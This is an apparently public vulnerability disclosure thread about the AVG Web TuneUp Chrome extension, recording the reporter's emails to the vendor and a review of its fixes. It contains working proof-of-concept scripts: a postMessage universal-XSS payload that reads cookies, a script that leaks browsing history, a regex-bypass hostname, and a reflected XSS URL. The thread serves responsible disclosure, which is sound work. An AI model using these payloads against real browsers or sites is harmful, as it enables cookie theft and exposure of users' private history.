Closed GoogleCodeExporter closed 8 years ago
I sent the angry email below to the vendor:
Hello, I've just been looking at your antivirus product, and the first thing I
noticed was you force install a Chrome extension called "AVG Web TuneUp" with
extension id chfdnecihphmhljaaejmgoiahnihplgn. I can see from our statistics it
has nearly 9 million active Chrome users.
Apologies for my harsh tone, but I'm really not thrilled about this trash being
installed for Chrome users. The extension is so badly broken that I'm not sure
whether I should be reporting it to you as a vulnerability, or asking the
extension abuse team to investigate if it's a PuP.
Nevertheless, my concern is that your security software is disabling web
security for 9 million Chrome users, apparently so that you can hijack search
settings and the new tab page.
There are multiple obvious attacks possible, for example, here is a trivial
universal xss in the "navigate" API that can allow any website to execute
script in the context of any other domain. For example, attacker.com can read
email from mail.google.com, or corp.avg.com, or whatever else. I hope the
severity of this issue is clear to you, fixing it should be your highest
priority.
<script>
for (i = 0; i < 256; i++) {
window.postMessage({ origin: "web", action: "navigate", data: {
url: "javascript:document.location.hostname.endsWith('.avg.com')"
+ "?"
+ "alert(document.domain + ':' +document.cookie)"
+ ":"
+ "false",
tabID: i
}}, "*");
}
</script>
This demo will just alert(document.cookie) if you have a tab open on avg.com,
but you get the idea. That's not all, basically every API I look at is just
plain broken. For example, you're exposing browsing history to the internet via
the "recently" api. This code should tell you all your recent navigations:
<script>
window.addEventListener("message", receiveMessage, false);
window.postMessage({ from: "web", to: "content", method: "recently" }, "*")
function receiveMessage(event)
{
if (event.data != undefined && event.data.historyItems != undefined) {
var obj = JSON.parse(event.data.historyItems);
document.write("Here is a list of websites you've been visiting");
document.write("<br>");
for (i in obj) {
var d = new Date(obj[i]);
document.write("<a href=" + i + ">" + i + "</a> on " + d);
document.write("<br>");
}
}
}
</script>
I'm sure if I keep looking I'll be able to turn this into remote code
execution, but hopefully this is enough for now.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse without
a broadly available patch, then the bug report will automatically become
visible to the public.
Disappointed, Tavis.
Original comment by tav...@google.com
on 15 Dec 2015 at 8:33
Response:
Hello Tavis,
Thank you for the report. It has now reached the proper personnel in AVG.
Original comment by tav...@google.com
on 15 Dec 2015 at 8:34
Issue 673 has been merged into this issue.
Original comment by tav...@google.com
on 15 Dec 2015 at 8:34
Issue 674 has been merged into this issue.
Original comment by tav...@google.com
on 15 Dec 2015 at 8:35
AVG submitted an extension with a "fix", but the fix was obviously incorrect.
I sent the following reply:
Hey, I've looked at the extension, thanks for getting it to us quickly.
Unfortunately, this is not an acceptable fix.
The solution that you submitted was this:
var match = event.origin.match(/https?:\/\/.*\.avg\.com/i);
if (match ! null {
...
}
This is unacceptable, and simply checks if the message origin contains the
string ".avg.com". This is unacceptable because anyone can put that string in
their hostname. This simply doesn't protect against the original problem we
described.
For example the following code *will* return a match:
"https://www.avg.com.www.attacker.com".match(/https?:\/\/.*\.avg\.com/i)
Additionally:
* This still allows a mitm to inject javascript into *any* origin, even a
secure origin. This means users of this extension get no protection from SSL.
* Any XSS on avg.com can be used to compromise chrome users.
Thanks, Tavis.
Original comment by tav...@google.com
on 19 Dec 2015 at 6:26
I added the following clarification about the mitm attack:
Hi Tony, I just wanted to make sure the MITM issue is clear for your team, as I
didn't explain it very well.
Your proposed code doesn't require a secure origin, that means it permits
http:// or https:// protocols when checking the hostname. Because of this, a
network man in the middle can redirect a user to http://attack.avg.com, and
supply javascript that opens a tab to a secure https origin, and then inject
code into it. This means that a man in the middle can attack secure https sites
like GMail, Banking, and so on.
To be absolutely clear: this means that AVG users have SSL disabled.
If you or your team have questions about this, please let me know.
Thanks, Tavis.
Original comment by tav...@google.com
on 19 Dec 2015 at 7:03
AVG provided a new fix that whitelisted the domains "mysearch.avg.com" and
"webtuneup.avg.com" only. I think this is the best we're likely to get, so I
sent this:
I took a look, I think this approach will work. It does have the limitation
that any XSS or mixed-content on the whitelisted domains will have permission
to compromise the entire internet.
Unfortunately, these are not difficult to find: I'm not a web security expert
and found a few in under a minute of looking, here's an example:
http://webtuneup.avg.com/static/dist/app/4.0.5.0/interstitial.html?risk=%3Cimg%2
0src=x%20onerror=alert(1)%3E&searchParams=%7B%22lang%22%3A%22en%22%2C%22pid%22%3
A%22pid%22%2C%22v%22%3A%22vv%22%7D
To be clear, any XSS bug on that domain means that all AVG users can have their
banking, email, everything compromised, so it really needs to be well
maintained and audited.
I suppose on the understanding that you get a professional web audit of those
whitelisted domains, this fix looks okay.
Original comment by tav...@google.com
on 20 Dec 2015 at 6:46
This isssue appears to be resolved in version 4.2.5.169 of the chrome
extension, which looks like it's about to be made available for update on the
webstore...
Original comment by tav...@google.com
on 21 Dec 2015 at 7:56
I believe this issue is resolved now, but inline installations are disabled
while the CWS team investigate possible policy violations.
Original comment by tav...@google.com
on 28 Dec 2015 at 8:25
Please note you missed the closing parenthesis:
if (match ! null {
This is very important to the syntax of JavaScript, it should be:
if (match ! null) {
Original comment by blakenoo...@gmail.com
on 29 Dec 2015 at 10:52
I understand the importance of providing clear guidance to vendors, but can we
obfuscate the POC XSS that can be used to pwn 9 million AVG users from the
public forum post?
Original comment by m...@mbcarlson.org
on 29 Dec 2015 at 6:00
The XSS you're referring to cannot be used as-is due to mixed-content, it was
intended to be illustrative only.
This is not a public discussion forum, so I'm restricting further comments.
Original comment by tav...@google.com
on 29 Dec 2015 at 8:36
Original issue reported on code.google.com by
tav...@google.com
on 15 Dec 2015 at 8:32Attachments: